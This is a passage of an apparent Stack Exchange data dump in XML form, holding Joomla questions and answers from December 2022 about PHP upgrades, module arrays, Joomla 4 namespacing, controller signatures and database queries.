move your fallback/recovery position forward and you wont have to go back to the start if something goes wrong.&lt;/p&gt;&#xA;&lt;p&gt;Once the extensions &amp;amp; Joomla versions are up to date then back up the site of course. From here you can use the function of your Hosting account manager to increase the PHP level by either going straight to PHP 8 or stepping up through 7.3 and 7.4, testing the site as you go. If problems arise you should be able to simply fallback to the previous PHP version until you can resolve the issue.&lt;/p&gt;&#xA;&lt;p&gt;Which approach you take also depends on the usage of your website. For example a low usage website with little traffic and tolerable users you might be able to do the update-in-place and if there are odd messages or the site is down for a little while why you restore it nobody will complain. Conversely a high traffic site is probably not going tolerate messages and downtime so the clone/copy approach would be the better approach for you.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2022-12-01T23:27:51.457" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32601" PostTypeId="1" CreationDate="2022-12-03T11:49:45.517" Score="0" ViewCount="64" Body="&lt;p&gt;Newbie in php, I am trying to create a module to extract orders from Joomla database and plot monthly results as a yearly curve.&#xA;I am trying to store first the products in an array, followed by a monthly number of orders.&lt;/p&gt;&#xA;&lt;p&gt;Database extraction is ok and I created a first array containing the product names and for each product, I'd like to create an array containing its 12 monthly quantities.&lt;/p&gt;&#xA;&lt;p&gt;I created the product names array as below:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;foreach ($products as $pr)&#xA;    $results[] = $pr-&amp;gt;name;&#xA;    &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and the quantities array in the products loop as below:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;foreach ($quantities as $quant) &#xA;    $quant_array[] = $quant-&amp;gt;number;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Now, how can I merge those two arrays (and also how to read data afterwards) so that the results looks like&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;prod_A--&amp;gt;1&#xA;         1&#xA;         2&#xA;       ...&#xA;prod_B--&amp;gt;2&#xA;         3&#xA;         5&#xA;       ...&#xA;prod_C--&amp;gt;3&#xA;         4&#xA;         2&#xA;       ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Helper code is herebelow, obviously not finished:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public static function getProduits($params)&#xA;        {&#xA;        $user   = JFactory::getUser();&#xA;        $userId = (int) $user-&amp;gt;get('id');&#xA;        &#xA;        // Obtain a database connection&#xA;        $db = JFactory::getDbo();&#xA;        $query=&amp;quot;select `name` as prodname, product_id from #__jshopping_products where product_publish=1 order by `name`&amp;quot;;&#xA;        // Prepare the query&#xA;        $db-&amp;gt;setQuery($query);&#xA;        // Loading products.&#xA;        $prod = $db-&amp;gt;loadObjectList();&#xA;        &#xA;        foreach ($prod as $pr)&#xA;            {&#xA;            $results[] = $pr-&amp;gt;prodname;&#xA;&#xA;            $query2 = &amp;quot;SELECT count(product_quantity) as number, month(#__jshopping_orders.order_date) as month from #__jshopping_order_item join #__jshopping_orders on #__jshopping_orders.order_id=#__jshopping_order_item.order_id &amp;quot; .&#xA;                      &amp;quot;where #__jshopping_order_item.order_id in (select order_id FROM #__jshopping_orders where user_id=&amp;quot; . $userId . &amp;quot; and year(#__jshopping_orders.order_date)=2022 order by order_date desc) &amp;quot; .&#xA;                      &amp;quot;and product_id=&amp;quot; . $pr-&amp;gt;product_id . &amp;quot; group by month(order_date) order by month(order_date) desc&amp;quot;;&#xA;&#xA;            // Prepare the query&#xA;            $db-&amp;gt;setQuery($query2);&#xA;            // Loading data&#xA;            $amounts = $db-&amp;gt;loadObjectList();&#xA;&#xA;            foreach ($amounts as $quant) &#xA;                $quant_array[] = $quant-&amp;gt;number;    &#xA;            }&#xA;            &#xA;            **/// This is where I'd like to merge results within one array ($results)&#xA;            // like $results['product']['count']**&#xA;        &#xA;        return ($results);&#xA;        }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;$results being passed to the template file for output&lt;/p&gt;&#xA;&lt;p&gt;It is probably a trivial task but as I said, I am a php beginner...&lt;/p&gt;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;Revisiting this question, I succeeded creating a single query to achieve this.&#xA;When I test results within the helper file with echo statements, it displays ok.&#xA;However, when I try to get the values in the &lt;strong&gt;default.php&lt;/strong&gt; output template file, I just get nothing, meaning that I probably have an issue with either the variable return or something else which I don't see, being a real php newbie...&lt;/p&gt;&#xA;&lt;p&gt;Here's how I declared my module entry point:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// No direct access defined('_JEXEC') or die; &#xA;// Include the syndicate functions only once&#xA;require_once dirname(__FILE__) . '/helper.php';&#xA;global $prod;&#xA;$prod = modProduitsHelper::getProduits($params);&#xA;require JModuleHelper::getLayoutPath('mod_produits');&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I know I should not use a global declaration but I tried :-)&lt;/p&gt;&#xA;&lt;p&gt;Helper file is ok and looks like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * Helper class for module stats&#xA; */&#xA;class modProduitsHelper&#xA;{&#xA;/**&#xA; *&#xA; * @param   array  $params An object containing the module parameters&#xA; *&#xA; * @access public&#xA; */    &#xA;    public static function getProduits($params)&#xA;        {&#xA;        $user   = JFactory::getUser();&#xA;        $userId = (int) $user-&amp;gt;get('id');&#xA;        &#xA;        // Obtain a database connection&#xA;        $db = JFactory::getDbo();&#xA;        $query=&amp;quot;SELECT&#xA;              product_name as nom,&#xA;              sum(if(month(order_date) = 1, product_quantity, 0)) as Janv,&#xA;              sum(if(month(order_date) = 2, product_quantity, 0)) as Feb,&#xA;              sum(if(month(order_date) = 3, product_quantity, 0)) as Mar,&#xA;              sum(if(month(order_date) = 4, product_quantity, 0)) as Apr,&#xA;              sum(if(month(order_date) = 5, product_quantity, 0)) as May,&#xA;              sum(if(month(order_date) = 6, product_quantity, 0)) as Jun,&#xA;              sum(if(month(order_date) = 7, product_quantity, 0)) as Jul,&#xA;              sum(if(month(order_date) = 8, product_quantity, 0)) as Aug,&#xA;              sum(if(month(order_date) = 9, product_quantity, 0)) as Sep,&#xA;              sum(if(month(order_date) = 10, product_quantity, 0)) as Oct,&#xA;              sum(if(month(order_date) = 11, product_quantity, 0)) as Nov,&#xA;              sum(if(month(order_date) = 12, product_quantity, 0)) as `Dec`&#xA;            FROM vpkbb_jshopping_order_item join vpkbb_jshopping_orders on vpkbb_jshopping_orders.order_id=vpkbb_jshopping_order_item.order_id  &#xA;            WHERE user_id = 398&#xA;            AND year(order_date) = 2022&#xA;            group by product_name&#xA;            order by product_name;&amp;quot;;&#xA;        // Prepare the query&#xA;        $db-&amp;gt;setQuery($query);&#xA;        // Chargement des produits.&#xA;        $prod = $db-&amp;gt;loadObjectList();&#xA;        &#xA;        return ($prod);&#xA;        }&#xA;}?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and, finally, my default.php template file looks for now just like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;// No direct access&#xA;defined('_JEXEC') or die;   &#xA;&#xA;foreach ($prod as $pr)&#xA;    echo $pr-&amp;gt;nom . ' ' . $pr-&amp;gt;Jan . ' ' . $pr-&amp;gt;Feb . ' ' . $pr-&amp;gt;Mar . ' ' . $pr-&amp;gt;Apr . ' ' . $pr-&amp;gt;May . ' ' . $pr-&amp;gt;Jun . ' ' . $pr-&amp;gt;Jul . ' ' . $pr-&amp;gt;Aug . ' ' . $pr-&amp;gt;Sep . ' ' . $pr-&amp;gt;Oct . ' ' . $pr-&amp;gt;Nov . ' ' . $pr-&amp;gt;Dec . '&amp;lt;br /&amp;gt;';?&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I thought I had my Xmas present, but it looks like I don't, so if anybody could point me to what I do wrong, this would save this miserable attempt to achieve my goal.&lt;/p&gt;&#xA;&lt;p&gt;Thx&lt;/p&gt;&#xA;" OwnerUserId="16171" LastEditorUserId="12352" LastEditDate="2023-01-04T01:09:58.463" LastActivityDate="2023-01-04T01:09:58.463" Title="php beginner: handling array in Joomla module" Tags="|joomla-3.x|php|beginner|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="32602" PostTypeId="1" CreationDate="2022-12-03T22:11:17.660" Score="1" ViewCount="17" Body="&lt;p&gt;How to enable a frontend user to select a category when creating an article?&lt;/p&gt;&#xA;&lt;p&gt;When the user attempts to create a new article, the 'Category' drop down, under Publishing, is disabled. Is there a way to enable the dropdown so that a user can select a category?&lt;/p&gt;&#xA;&lt;p&gt;User is in manager group and can create, edit .. etc.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/14ME1.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/14ME1.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16301" LastActivityDate="2022-12-03T22:11:17.660" Title="How to select a category in frontend when creating an article?" Tags="|category|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32603" PostTypeId="1" AcceptedAnswerId="32604" CreationDate="2022-12-04T18:23:16.037" Score="0" ViewCount="1239" Body="&lt;p&gt;I'm sure I've missed something obvious, but I'm stumped.&lt;/p&gt;&#xA;&lt;p&gt;I have a helper class located at:&lt;br&gt;&lt;strong&gt;administrator/components/com_supersite/src/Helper/supersite.php&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;\defined('_JEXEC') or die();&#xA;&#xA;class Supersite {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I'm using a system plugin to register it as:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;\defined('_JEXEC') or die;&#xA;&#xA;use Joomla\CMS\Plugin\CMSPlugin;&#xA;use Joomla\CMS\Log\Log;&#xA;&#xA;class PlgSystemSupersite extends CMSPlugin&#xA;{&#xA;&#xA;    public function onAfterInitialise() {&#xA;        Log::add('running onAfterInitialise in supersite plugin');&#xA;        JLoader::registerPrefix('Supersite', JPATH_ADMINISTRATOR . '/components/com_supersite/src');&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And then I try to do a very basic call to the class, pulling a json string to array:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;namespace Joomla\Component\Supersite\Site\Controller;&#xA;&#xA;use Joomla\CMS\MVC\Controller\BaseController;&#xA;use Supersite;&#xA;&#xA;\defined('_JEXEC') or die;&#xA;&#xA;class ajaxController extends BaseController&#xA;{&#xA;&#xA;    public function json()&#xA;    {&#xA;        $supersite = new Supersite();&#xA;        &#xA;        $prices = $supersite-&amp;gt;getData('products/customer-price.json');&#xA;        echo json_decode($prices);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And the resulting error message:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{&amp;quot;error&amp;quot;:true,&amp;quot;code&amp;quot;:0,&amp;quot;message&amp;quot;:&amp;quot;Class \&amp;quot;Supersite\&amp;quot; not found&amp;quot;,&amp;quot;trace&amp;quot;:&amp;quot;#0 C:\\Users\\username\\OneDrive\\Documents\\Development\\xampp\\htdocs\\joomla\\libraries\\src\\MVC\\Controller\\BaseController.php(672): Joomla\\Component\\Supersite\\Site\\Controller\\ajaxController-&amp;gt;json()\n#1 C:\\Users\\username\\OneDrive\\Documents\\Development\\xampp\\htdocs\\joomla\\libraries\\src\\Dispatcher\\ComponentDispatcher.php(143): Joomla\\CMS\\MVC\\Controller\\BaseController-&amp;gt;execute('json')\n#2 C:\\Users\\username\\OneDrive\\Documents\\Development\\xampp\\htdocs\\joomla\\libraries\\src\\Component\\ComponentHelper.php(355): Joomla\\CMS\\Dispatcher\\ComponentDispatcher-&amp;gt;dispatch()\n#3 C:\\Users\\username\\OneDrive\\Documents\\Development\\xampp\\htdocs\\joomla\\libraries\\src\\Application\\SiteApplication.php(200): Joomla\\CMS\\Component\\ComponentHelper::renderComponent('com_supersite')\n#4 C:\\Users\\username\\OneDrive\\Documents\\Development\\xampp\\htdocs\\joomla\\libraries\\src\\Application\\SiteApplication.php(241): Joomla\\CMS\\Application\\SiteApplication-&amp;gt;dispatch()\n#5 C:\\Users\\username\\OneDrive\\Documents\\Development\\xampp\\htdocs\\joomla\\libraries\\src\\Application\\CMSApplication.php(294): Joomla\\CMS\\Application\\SiteApplication-&amp;gt;doExecute()\n#6 C:\\Users\\username\\OneDrive\\Documents\\Development\\xampp\\htdocs\\joomla\\includes\\app.php(61): Joomla\\CMS\\Application\\CMSApplication-&amp;gt;execute()\n#7 C:\\Users\\username\\OneDrive\\Documents\\Development\\xampp\\htdocs\\joomla\\index.php(32): require_once('C:\\\\Users\\\\username\\\\...')\n#8 {main}&amp;quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2082" LastActivityDate="2022-12-04T22:40:38.023" Title="Joomla 4 Helper class not found" Tags="|joomla-4.x|joomla-4|joomla-4.1|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32604" PostTypeId="2" ParentId="32603" CreationDate="2022-12-04T22:40:38.023" Score="3" Body="&lt;p&gt;You are using Joomla4 and Namespaces therefore you no longer need to have a plugin to register the class, that should be available to the Autoloader in &lt;code&gt;/administrator/cache/autoload_psr4.php&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;The namespace for your component should not use the &lt;code&gt;Joomla\&lt;/code&gt; prefix but one of your own, eg. &lt;code&gt;James\&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;In your manifest file, &lt;code&gt;supersite.xml&lt;/code&gt;, you should have your namespace element set like this    &lt;code&gt;&amp;lt;namespace path=&amp;quot;src&amp;quot;&amp;gt;James\Component\Supersite&amp;lt;/namespace&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;In your &lt;code&gt;administrator/components/com_supersite/src/Helper/supersite.php&lt;/code&gt; it should have a Namespace of &lt;code&gt;James\Component\Supersite\Administrator\Helper&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;And your Controller class should be namespaced as &lt;code&gt;James\Component\Supersite\Site\Controller&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;If you are updating the files on your Joomla instance directly you will need delete the file &lt;code&gt;/administrator/cache/autoload_psr4.php&lt;/code&gt; where it will be recreated automatically with a line near the top that looks like&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;'James\\Component\\Supersite\\Administrator\\' =&amp;gt; [JPATH_ADMINISTRATOR . '/components/Supersite/src'],&#xA;'James\\Component\\Supersite\\Site\\' =&amp;gt; [JPATH_SITE . '/components/Supersite/src'],&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If you have an API section of your component there will be a similar line created for it as well in the autoload file.If you are going through the Install process to bring in the above changes then it will/should automatically rebuild the autoload_psr4.php file for you and should not require being deleted.&lt;/p&gt;&#xA;&lt;p&gt;In your Controller you need to replace &lt;code&gt;use Supersite;&lt;/code&gt; with &lt;code&gt;use James\Component\Supersite\Administrator\Helper\Supersite&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;If I have got it right that should get it working for you or at least a lot closer and without the use of the Plugin. The approach is sensitive to the case used in the Namespace and the files/folders they resolve to.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2022-12-04T22:40:38.023" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32605" PostTypeId="1" AcceptedAnswerId="32607" CreationDate="2022-12-06T13:50:07.070" Score="1" ViewCount="91" Body="&lt;p&gt;I'm looking for a possible quick fix (temporary) for the follow error. This is on a Joomla 3 site, which I can only seem to assume was migrated from a Joomla 2.5 site which hopefully will be migrated soon. Pending customer agreement.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Fatal error: Declaration of&#xA;Dynamic_contentController::display($cachable = false) must be&#xA;compatible with&#xA;Joomla\CMS\MVC\Controller\BaseController::display($cachable = false,&#xA;$urlparams = []) in&#xA;/home/customer/www/clariumfcs.com/public_html/administrator/components/com_dynamic_content/controller.php&#xA;on line 32&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;The error is referring to the following piece of code:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Method to display a view.&#xA; *&#xA; * @param   boolean         If true, the view output will be cached&#xA; * @param   array           An array of safe url parameters and their variable types, for valid values see {@link JFilterInput::clean()}.&#xA; *&#xA; * @return  JController     This object to support chaining.&#xA; * @since   1.5&#xA; */&#xA;public function display($cachable = false)&#xA;{&#xA;    require_once JPATH_COMPONENT.'/helpers/admin.php';&#xA;&#xA;    DC_AdminHelper::addSubmenu(JRequest::getVar('view'));&#xA;&#xA;    $document = JFactory::getDocument();&#xA;    $document-&amp;gt;addStylesheet('components/com_dynamic_content/assets/admin.css');&#xA;    $document-&amp;gt;addScript('components/com_dynamic_content/assets/jquery-1.7.2.js');&#xA;    $document-&amp;gt;addScript('components/com_dynamic_content/assets/admin.js');&#xA;&#xA;    JRequest::setVar('view', JRequest::getCmd('view', 'Dynamic_contents'));&#xA;    &#xA;    parent::display($cachable);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I've completed the initial google search for the error but come up empty and this isn't really something I'm familiar with. I'm guessing function an additional parameter? Would I be on the correct path with that? I'm stumped. If there is an easy edit for this function I'd appreciate it so I can access the component temporarily.&lt;/p&gt;&#xA;" OwnerUserId="7973" LastEditorUserId="12352" LastEditDate="2022-12-06T22:39:38.663" LastActivityDate="2022-12-07T02:34:47.830" Title="Suggestions for temporary fix with controller.php ($cachable = false, $urlparams = [])" Tags="|joomla-3.x|joomla-2.5|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32606" PostTypeId="1" CreationDate="2022-12-06T23:13:05.540" Score="0" ViewCount="125" Body="&lt;p&gt;Hi I am struggling to get an output from a wildcard query.&#xA;I am using the following code which outputs the following error:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;0 Unknown format specifier &amp;quot;$&amp;quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;$iban = 'IE04IBPSIE123456123456123456';&#xA;//split array into chunks of 4 chars&#xA;$iban = str_split($iban,4);&#xA;//print_r($iban);&#xA;$iban = $iban[1];&#xA;&#xA;$db = JFactory::getDbo();&#xA;$query = $db&#xA;    -&amp;gt;getQuery(true)&#xA;    -&amp;gt;select('bic')&#xA;    -&amp;gt;from($db-&amp;gt;quoteName('aaa_bic'))&#xA;    -&amp;gt;where($db-&amp;gt;quoteName('bic') . ' LIKE ' . $db-&amp;gt;quote('%'. $iban . '%'));&#xA;&#xA;&#xA;$db-&amp;gt;setQuery($query);&#xA;$result = $db-&amp;gt;loadResult();&#xA;&#xA;return $result;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;For the example i replaced $iban with a dummy value.&#xA;The code should get the &amp;quot;IBPS&amp;quot; bit out of the iban and compare it with the bic code that matches and return the relevant bic code&#xA;var_dump($result);&#xA;exit;&#xA;Gives Null&#xA;How do i correctly use Like '%$iban%' in joomla query please?&lt;/p&gt;&#xA;" OwnerUserId="16781" LastActivityDate="2022-12-06T23:13:05.540" Title="Using Like with wildcard in joomla php query" Tags="|php|mysql|joomla-4.x|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="32607" PostTypeId="2" ParentId="32605" CreationDate="2022-12-07T02:34:47.830" Score="1" Body="&lt;p&gt;I think that you need to replace the line&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function display($cachable = false)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;with this line&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function display($cachable = false, $urlparams = array())&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;which defines the display method in &lt;code&gt;libraries/src/MVC/Controller/BaseController.php&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Essentially two parameters are available in the default function where as in your function only one is provided and the message is saying you need provide the second one, in this case and array called &lt;code&gt;$urlparams&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2022-12-07T02:34:47.830" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32608" PostTypeId="1" AcceptedAnswerId="32609" CreationDate="2022-12-07T08:15:02.767" Score="0" ViewCount="140" Body="&lt;p&gt;I have lots of custom filters in my J3 front-end components and I'm trying to convert to J4, but always get&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;0 Call to a member function getcatid() on bool&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;com_aaprueba/src/Field/filtercatid.php&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;pre&gt;&lt;code&gt;namespace Sfi\Component\Aaprueba\Site\Field;&#xA;&#xA;defined('_JEXEC') or die();&#xA;&#xA;use Joomla\CMS\Form\FormHelper;&#xA;use Joomla\CMS\Form\FormField;&#xA;&#xA;class filtercatid extends FormField &#xA;{&#xA;    protected $type = 'filtercatid';&#xA;    &#xA;    public function getCatid($value) &#xA;    {&#xA;        ?&amp;gt;&#xA;            &amp;lt;select &#xA;                id=&amp;quot;filter_catid&amp;quot; &#xA;                name=&amp;quot;filter_catid&amp;quot;&#xA;                class=&amp;quot;form-control js-example-basic-single&amp;quot;&#xA;                onchange=&amp;quot;this.form.submit();&amp;quot;&#xA;                &amp;gt;&#xA;                &amp;lt;option value=&amp;quot;uno&amp;quot;&amp;gt;Uno&amp;lt;/option&amp;gt;&#xA;                &amp;lt;option value=&amp;quot;dos&amp;quot;&amp;gt;Dos&amp;lt;/option&amp;gt;&#xA;            &amp;lt;/select&amp;gt;        &#xA;        &amp;lt;?php&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;&lt;strong&gt;src/Model/EspaciosModel.php&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;pre&gt;&lt;code&gt;protected function populateState($ordering = null, $direction = null)   &#xA;{&#xA;    $catid = $this-&amp;gt;getUserStateFromRequest($this-&amp;gt;context.'.filter.catid', 'filter_catid');&#xA;    $this-&amp;gt;setState('filter.catid', $catid); &#xA;        &#xA;    parent::populateState('a.espacio', 'ASC');&#xA;}&#xA;&#xA;protected function getListQuery()&#xA;{&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;&lt;strong&gt;src/View/Espacios/HtmlView.php&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;pre&gt;&lt;code&gt;namespace Sfi\Component\Aaprueba\Site\View\Espacios;&#xA;&#xA;\defined('_JEXEC') or die;&#xA;&#xA;use Joomla\CMS\Factory;&#xA;use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView;&#xA;use Joomla\CMS\Helper\ContentHelper;&#xA;use Joomla\CMS\HTML\HTMLHelper;&#xA;use Joomla\CMS\MVC\View\GenericDataException;&#xA;&#xA;class HtmlView extends BaseHtmlView&#xA;{&#xA;    protected $state;&#xA;    protected $items;&#xA;    protected $pagination;&#xA;&#xA;    public function display($tpl = null)&#xA;    {&#xA;        $this-&amp;gt;state        = $this-&amp;gt;get('State');&#xA;        $this-&amp;gt;items        = $this-&amp;gt;get('Items');&#xA;        $this-&amp;gt;pagination   = $this-&amp;gt;get('Pagination');&#xA;&#xA;        if (\count($errors = $this-&amp;gt;get('Errors')))&#xA;        {&#xA;            throw new GenericDataException(implode(&amp;quot;\n&amp;quot;, $errors), 500);&#xA;        }&#xA;&#xA;        return parent::display($tpl);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;&lt;strong&gt;tmpl/espacios/default.php&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\HTML\HTMLHelper;&#xA;use Joomla\CMS\Language\Text;&#xA;use Joomla\CMS\Router\Route;&#xA;use Joomla\CMS\Uri\Uri;&#xA;use Joomla\CMS\Layout\FileLayout;&#xA;use Joomla\CMS\Form\FormHelper;&#xA;?&amp;gt;&#xA;...&#xA;&amp;lt;form action=&amp;quot;&amp;lt;?= Uri::current() ?&amp;gt;&amp;quot; method=&amp;quot;post&amp;quot; name=&amp;quot;adminForm&amp;quot; id=&amp;quot;adminForm&amp;quot;&amp;gt;&#xA;    &amp;lt; ?php &#xA;        $selectCatid = FormHelper::loadFieldType('filtercatid', false);&#xA;        $selectCatid-&amp;gt;getcatid($this-&amp;gt;escape($this-&amp;gt;state-&amp;gt;get('filter.catid')));&#xA;    ?&amp;gt; &#xA;...&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;Please, is there some information about how create custom filters in Joomla 4 without using a xml form?&#xA;Thanks, JL&lt;/p&gt;&#xA;" OwnerUserId="16614" LastEditorUserId="12652" LastEditDate="2022-12-07T08:28:35.100" LastActivityDate="2022-12-07T08:38:58.400" Title="Converting J3 custom filter to J4" Tags="|joomla-4.x|migration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32609" PostTypeId="2" ParentId="32608" CreationDate="2022-12-07T08:38:58.400" Score="1" Body="&lt;p&gt;You don't need to use a form field class if you don't intend to use it with Form API. There are many ways a loose HTML element can be rendered. You could make it into a HTML service, use one of the provided HTML services (e.g. &lt;code&gt;Joomla\CMS\HTML\HTMLHelper::_('select.genericlist')&lt;/code&gt;), put it in a plain helper class or in a layout. And if it's not meant to reusable, you can just hardcode it in the &lt;code&gt;tmpl/espacios/default.php&lt;/code&gt; layout.&lt;/p&gt;&#xA;&lt;p&gt;That said, if you still want it to be loadable as a field, you need to rename the class from &lt;code&gt;filtercatid&lt;/code&gt; to &lt;code&gt;FiltercatidField&lt;/code&gt;. The class file needs to be renamed the same way. And before calling &lt;code&gt;FormHelper::loadFieldType()&lt;/code&gt;, call this to add the namespace for lookup:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;FormHelper::addFieldPrefix('Sfi\\Component\\Aaprueba\\Site\\Field')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2022-12-07T08:38:58.400" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32610" PostTypeId="1" CreationDate="2022-12-07T12:22:14.387" Score="0" ViewCount="60" Body="&lt;p&gt;everyone&lt;/p&gt;&#xA;&lt;p&gt;How can I have &lt;code&gt;/administrator/index.php?option=COM_MYCOMPONENT&amp;amp;controller=MYCONTROLLER&amp;amp;task=MYTASK&lt;/code&gt; return a &amp;quot;401 Unauthorized&amp;quot; HTTP error instead of redirecting to the administrator login page?&lt;/p&gt;&#xA;&lt;p&gt;Many thanks.&lt;/p&gt;&#xA;" OwnerUserId="5692" LastActivityDate="2024-01-02T01:04:40.510" Title="How to return Http 401 on Joomla Administrator for an unauthenticated user?" Tags="|joomla-3.x|development|custom-component|joomla-4.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32611" PostTypeId="2" ParentId="21642" CreationDate="2022-12-07T12:58:48.487" Score="0" Body="&lt;p&gt;Probably your IP is banned. Change IP (use a vpn or restart your router) and try again.&lt;/p&gt;&#xA;" OwnerUserId="15187" LastActivityDate="2022-12-07T12:58:48.487" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32612" PostTypeId="2" ParentId="32598" CreationDate="2022-12-07T13:10:20.313" Score="0" Body="&lt;p&gt;There are much missing information here, e.g. Joomla version, installed extensions etc.&lt;/p&gt;&#xA;&lt;p&gt;I'm afraid that nobody can give you step-by-step instructions from here, since there are a lot of factors engaged in this, but you'll have to hire a professional to do the job.&lt;/p&gt;&#xA;&lt;p&gt;I know it's not the answer you were looking for, but this is the only secure way to update your website without crashing it.&lt;/p&gt;&#xA;" OwnerUserId="15187" LastActivityDate="2022-12-07T13:10:20.313" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32613" PostTypeId="2" ParentId="32591" CreationDate="2022-12-07T13:13:33.870" Score="0" Body="&lt;p&gt;The emails are probably going to the spam folder. Check the settings in your DNS records.&lt;/p&gt;&#xA;" OwnerUserId="15187" LastActivityDate="2022-12-07T13:13:33.870" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
